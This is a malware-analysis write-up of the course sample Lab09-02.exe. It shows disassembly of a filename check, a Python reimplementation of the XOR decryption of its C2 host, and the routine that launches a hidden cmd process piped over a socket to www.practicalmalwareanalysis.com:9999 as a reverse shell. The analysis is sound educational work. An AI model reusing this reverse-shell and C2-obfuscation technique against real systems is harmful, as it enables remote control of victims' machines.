Post

0x0B_Lab09-02

Overview

FilenameSizeMD5
Lab09-02.exe24 KB251f4d0caf6eadae453488f9c9c0ea95

TL;DR: The malware has to be renamed ocl.exe in order to execute properly. It connects to www.practicalmalwareanalysis.com:9999 (the C2 address is stored encrypted, but not the port number) and starts a reverse shell.

Tools: IDA Free

IDB: Lab09-02.i64


Initiating arrays

The function _main() starts with the initialization of two buffers on the stack. the first will contain the string “1qaz2wsx3edc”, and the other an array of 32 bytes of apparently gibberish data:

1
2
.data:00405034 dw_array        dd  54160646h, 1B120542h,  2070C47h, 16001C5Dh
.data:00405034                 dd  1D011645h, 0F050B52h,  9080248h, 151C141Ch

We’ll back to this in a moment.

Name check

After initializing the buffers, the malware checks its name and exits if it is not executed under the expected name.

First, it gets the full path of the current process (i.e., itself):

1
2
3
4
.text:004011FF  lea     eax, [ebp+Filename]
.text:00401205  push    eax             ; lpFilename
.text:00401206  push    NULL            ; NULL == path of the executable file of the current process
.text:00401208  call    ds:GetModuleFileNameA

then, it scans for the path separator (\) starting from the right, in order to retrieve the filename:

1
2
3
4
5
6
.text:0040120E  push    '\'             ; pattern to search for
.text:00401210  lea     ecx, [ebp+Filename]
.text:00401216  push    ecx             ; char *
.text:00401217  call    _strrchr        ; pointer to the first '\\' from right
.text:0040121C  add     esp, 8
.text:0040121F  mov     [ebp+self_name], eax

Finally, the filename is compared with ocl.exe; if there’s a mismatch, the malware exits:

1
2
3
4
5
6
7
8
9
10
.text:0040122B  mov     eax, [ebp+self_name]
.text:0040122E  push    eax             ; char *
.text:0040122F  lea     ecx, [ebp+target_name]
.text:00401235  push    ecx             ; char *
.text:00401236  call    _strcmp
.text:0040123B  add     esp, 8
.text:0040123E  test    eax, eax
.text:00401240  jz      short name_is_ocl_exe
.text:00401242  mov     eax, 1
.text:00401247  jmp     exit

If the name is correct, the Winsock2 library is initialized and a TCP socket is created (code not shown).

CnC decryption

Right after the creation of the socket, we notice a call to function 0x401089 (renamed CRYPTO__DecryptCnC()) taking 2 parameters. These parameters are pointers to the 2 buffers seen earlier:

1
2
3
4
5
6
7
.text:004012AF  lea     ecx, [ebp+dw_array]
.text:004012B5  push    ecx             ; encrypted
.text:004012B6  lea     edx, [ebp+key]
.text:004012BC  push    edx             ; key
.text:004012BD  call    CRYPTO__DecryptCnC
.text:004012C2  add     esp, 8
.text:004012C5  mov     [ebp+CnC], eax  ; www.practicalmalwareanalysis.com

The decrytion is pretty straightforward (xor-encrypted string), below is a reimplementation in Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if __name__ == "__main__":

    key = b'1qaz2wsx3edc'

    encrypted = b''
    encrypted += b'\x46\x06\x16\x54\x42\x05\x12\x1B'
    encrypted += b'\x47\x0C\x07\x02\x5D\x1C\x00\x16'
    encrypted += b'\x45\x16\x01\x1D\x52\x0B\x05\x0F'
    encrypted += b'\x48\x02\x08\x09\x1C\x14\x1C\x15'

    decrypted = ""
    for i, b in enumerate(encrypted):
        d = b ^ key[i % len(key)]
        decrypted = "{}{}".format(decrypted, chr(d))

    print(decrypted)

The decrypted result is www.practicalmalwareanalysis.com. Returning from the decryption function, the malware connects to www.practicalmalwareanalysis.com:9999 (code not shown).

Reverse shell

Once the connection is established, function 0x401000 is called (PS__CreateReverseShell()). Basically, it creates a new cmd process with stdin, stdout and stderr redirected to the socket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00401034  mov     [ebp+StartupInfo.dwFlags], STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
.text:0040103B  mov     [ebp+StartupInfo.wShowWindow], FALSE
.text:00401041  mov     edx, [ebp+socket] ; socket connected to CnC
.text:00401044  mov     [ebp+StartupInfo.hStdInput], edx  ; stdin -> socket
.text:00401047  mov     eax, [ebp+StartupInfo.hStdInput]
.text:0040104A  mov     [ebp+StartupInfo.hStdError], eax  ; stderr -> socket
.text:0040104D  mov     ecx, [ebp+StartupInfo.hStdError]
.text:00401050  mov     [ebp+StartupInfo.hStdOutput], ecx ; stdout -> socket
.text:00401053  lea     edx, [ebp+ProcessInformation]
.text:00401056  push    edx             ; lpProcessInformation
.text:00401057  lea     eax, [ebp+StartupInfo]
.text:0040105A  push    eax             ; lpStartupInfo
.text:0040105B  push    0               ; lpCurrentDirectory
.text:0040105D  push    0               ; lpEnvironment
.text:0040105F  push    0               ; dwCreationFlags
.text:00401061  push    1               ; bInheritHandles
.text:00401063  push    0               ; lpThreadAttributes
.text:00401065  push    0               ; lpProcessAttributes
.text:00401067  push    offset CommandLine ; "cmd"
.text:0040106C  push    0               ; lpApplicationName
.text:0040106E  call    ds:CreateProcessA

EOF

This post is licensed under CC BY 4.0 by the author.